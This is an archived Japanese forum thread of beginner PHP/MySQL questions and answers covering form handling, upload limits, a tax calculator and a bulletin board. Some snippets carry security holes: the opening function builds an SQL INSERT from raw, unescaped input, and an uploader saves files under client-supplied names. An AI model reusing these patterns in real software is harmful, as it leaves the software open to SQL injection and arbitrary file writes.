function insert_hon($ARRAY)
{
$this->array = $ARRAY;
$db = mysql_connect($this->connect,$this->user,$this->pass)
or die($this->error(3));
mysql_select_db("book")
or exit($this->error(3));
$cmd=mysql_query("SELECT * FROM hon") or die($this->error(3));
$cmd2=mysql_query("SELECT BOOKNAME FROM hon") or die($this->error(3));
while($ary=mysql_fetch_array($cmd2,MYSQL_ASSOC));
$num = count($ary);//配列内の要素数を取得する。
mysql_data_seek($cmd,$num) or mysql_data_seek($cmd,0);//MySQL内のポインタの移動
/*ブックIDの処理*/
$id = $this->bookid(TRUE) + 1;
if($id < $this->id)
{
$id = $this->id;
}
mysql_query("INSERT INTO hon(BOOKID,PDATE,BOOKNAME,AUTHOR,COM,PERM,MEM,RDATE)
VALUES(
".$id.",
'".$this->array[0]."',
'".$this->array[1]."',
'".$this->array[2]."',
'".$this->array[3]."',
'".$this->array[4]."',
'".$this->array[5]."',
'".$this->array[6]."')") or die($this->error(sql));
mysql_free_result($cmd);
unset($num);
mysql_close($db);
}

127 :nobodyさん:04/05/07 21:28 ID:V9n269ov
php4動いてる自宅サーバ(RHL9)にphpを組み込んで全然うまく動作しなかったので、あれれと思いつつ「もしかして?」とテスト

test.html
<html><body><form method="post" action="test.php">
<input type="text" name"test"><input type="submit"></form>
</body></html>

test.php
<html><body>
<?php
echo $test;
?>
</body></html>

これ動かないんすが... いや他の関数とか動くのでphpが入ってないのはナシということで。なんでだー

128 :nobodyさん:04/05/07 21:30 ID:???
>>127
echo $_POST['test'];
にしる

129 :nobodyさん:04/05/07 21:42 ID:V9n269ov
おお、その手があるんすか。試してみます。どーもです。

130 :nobodyさん:04/05/08 09:34 ID:???
>>123さん

<?php
for($i=1; $i<20; $i++) {
  printf("age! $i\n");
}
?>

ちょっと変えました。
age! のあとループ回数を入れて、改行しました。


131 :nobodyさん:04/05/08 22:24 ID:???
(ノ∀`)タハー

132 :nobodyさん:04/05/09 07:34 ID:???
printf?

133 :nobodyさん:04/05/09 22:04 ID:5mhyQGyB
phpにてファイルアップローダを作ったのですが、あるサイズ(1M)を超えるとブラウザでエラーになります。

A.htmlのフォーム部分
<form action="B.php" method="post" name="test" enctype="multipart/form-data">
<input type="hidden" name="MAX_FILE_SIZE" value="2000000">
<input type="file" name="upname" size="32" border="0">
<input type="submit" name="submitButton" border="0">
</form>

B.php
<?php
copy ($_FILES['upname']['tmp_name'],$_FILES['upname']['name']);
?>

A.htmlでファイルを選択してsubmitを押すとブラウザが

B.phpの読み込み中にエラーになりました。

と出て止まります。php.iniはデフォルトのまま(post_max_size=2M)。

ヒントをお願いします...

134 :nobodyさん:04/05/09 22:28 ID:???
>>133
php.ini

suze time

135 :nobodyさん:04/05/09 22:57 ID:???
>>134
意味がわからんのだすが...

136 :nobodyさん:04/05/09 23:46 ID:???
; Maximum allowed size for uploaded files.
upload_max_filesize = 2M

php.ini

こんなのハッケソ

137 :nobodyさん:04/05/12 01:31 ID:???
φ(.. )メモシテオコウ

138 :カポコン:04/05/15 04:01 ID:???
スクリプト側
<form action="hoge.php" method="post">
<input type="text" value="test1" name="test[]" />
<input type="text" value="test2" name="test[]" />
<input type="text" value="test3" name="test[]" />
<input type="text" value="test4" name="test[]" />
<input type="submit" value="OK" />
</form>

hoge.php
<?php
print_r($_GET['test']);
?>

139 :まちげーた:04/05/15 04:02 ID:???
<?php
print_r($_POST['test']);
?>

140 :nobodyさん:04/06/01 22:47 ID:???
五十音表 作成スクリプト

http://toyomo.pn.to/pw/?Program/PHP/gojyuon

取りあえずでっち上げました。
助言など お願いします。

141 :nobodyさん:04/06/01 23:05 ID:???
>>140
せっかくだからサンプル作ってよ

142 :nobodyさん:04/06/01 23:14 ID:???
>>141
ご要望にお応え!

143 :nobodyさん:04/06/04 23:06 ID:???
初心者だし厨なので、ご指摘お願いします。
訪問者登録型リンカースクリプト
http://tubaki.ksdc.jp/flash/link/t_link.php
http://tubaki.ksdc.jp/flash/link/t_link.phps ソース

144 :nobodyさん:04/06/17 00:02 ID:???
sage

145 :nobodyさん:04/06/17 18:17 ID:eeZQgFWj
age

146 :nobodyさん:04/07/13 22:28 ID:???


147 :nobodyさん:04/07/14 00:44 ID:???
<?php phpinfo(); ?>

148 :nobodyさん:04/07/27 03:58 ID:???
/* HTTPリクエスト処理の抽象クラス */
class httpRequest{
function main(){
if( isGet() == true ){
$this->getRequest();
} else if( isPost() == true ){
$this->postRequest();
} else if( isHead() == true ){
$this->headRequest();
} else {
header("Allow: GET,POST,HEAD");
httpError(405);
}
}
/* abstract void */
function getRequest(){die();}
function postRequest(){die();}
function headRequest(){die();}
}



149 :nobodyさん:04/10/01 22:06:47 ID:z0lIw7qS
はじめてちゃんと書いたスクリプトです。

<?php
require_once("htmltemplate.inc");
define("TAX", 5); //消費税何パーセント?
$zeinuki = $_GET[ htmlspecialchars("zeinuki")];
if ($zeinuki == NULL) { //初期値。何も入力されていない場合
$arg["kaitou"]="数字を入力してください";
} elseif (is_numeric($zeinuki) == TRUE) { //値が数字、または数値文字列の場合
$zeikomi = $zeinuki + $zeinuki * ("0.01" * TAX);
$arg["kaitou"]=$zeikomi;
} else { //数字、または数値文字列ではない場合
$arg["kaitou"]="計算できません";
}
HtmlTemplate::t_include("test_tax.html",$arg);
?>

150 :149:04/10/01 22:07:56 ID:???
test_tax.htmlの中身。

<html>
<head>
<title>消費税計算</title>
</head>
<body>
<form action="test_tax.php" method="get">
<p>
<input type="text" name="zeinuki" size="20" />x1.05={val kaitou}<br />
<input type="submit" value="計算" />
</p>
</form>
</body>
</html>


151 :149:04/10/01 22:10:15 ID:???
数字以外の文字を入力するとanHTTPdがときどき落ちるのですが、
このスクリプトがやっぱり原因なんでしょうか。
変な書き方とか間違った書き方をしていたら、指導してください。

152 :nobodyさん:04/10/02 23:55:27 ID:???
ワロタ

153 :nobodyさん:04/10/04 03:26:47 ID:???
>>149
とりあえず、
$_GET[ htmlspecialchars("zeinuki")]
は無意味というか、順序が逆だと思う。

154 :nobodyさん:04/10/04 17:53:13 ID:???
htmlspecialchars($_GET["zeinuki"])
ってことでしょうか。
すみません、順番とか、どこに""をつけるのかとか、全然わかってないのです。


155 :nobodyさん:04/10/04 19:51:14 ID:???
$_GET["zeinuki"]までが変数な訳だからな。とりあえず入門書でも買って勉強したほうがいいんじゃない?

156 :nobodyさん:04/10/04 20:18:06 ID:???
>>155
2冊買いました…
もっと、ちゃんと熟読します

157 :nobodyさん:04/10/04 21:50:25 ID:???
プログラミングのセンスのカケラもないような発言が出来るなんて素敵
今の時代レベル下がったもんだねぇ

158 :nobodyさん:04/10/04 21:51:48 ID:???
おまいら釣られすぎですよw

159 :nobodyさん:04/10/05 00:13:49 ID:???
板住民の釣りのレベルは日を追ってどんどん上がっていくのに
プログラミングのレベルはなかなか上がらないよな。

160 :nobodyさん:04/10/05 19:57:01 ID:???
むしろ平均値は日々下がっている気がする

161 :nobodyさん:04/10/07 00:41:07 ID:???
やる人が増えたからじゃないの。
年齢層も広がってさ。

162 :カポコン:04/10/09 00:44:17 ID:???
得意毛だな〜馬達よ。

163 :nobodyさん:04/12/20 17:37:05 ID:4RWN4Eyc
>>80
どうにもこうにもダウンロードができん。
AAA!CAFEじゃzip禁止になったからかな。
ソース見せてください。

164 :nobodyさん:04/12/20 17:39:04 ID:???
>>163
ギャプッギャプッ ハゲワロタ

165 :nobodyさん:04/12/20 22:29:47 ID:TSyzoBri
>>80のがほしい

166 :nobodyさん:04/12/25 15:43:14 ID:???
age

167 :nobodyさん:04/12/27 17:28:49 ID:???
http://tubaki.ksdc.jp/test/tubakibbs/
途中まで作ったんだけど、めんどくさくなりました、スマソ
ちなみにMySQL+PHPのスレッドフロート型掲示板。
ソースみたいなら晒すが、
「見れるもんなら見てみろ」ってぐらいスパゲッティになってる。

168 :nobodyさん:05/01/07 23:53:01 ID:???
データ構造だけ書いてけ

45 KB
■ このスレッドは過去ログ倉庫に格納されています

★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.02.02 2014/06/23 Mango Mangüé ★
FOX ★ DSO(Dynamic Shared Object)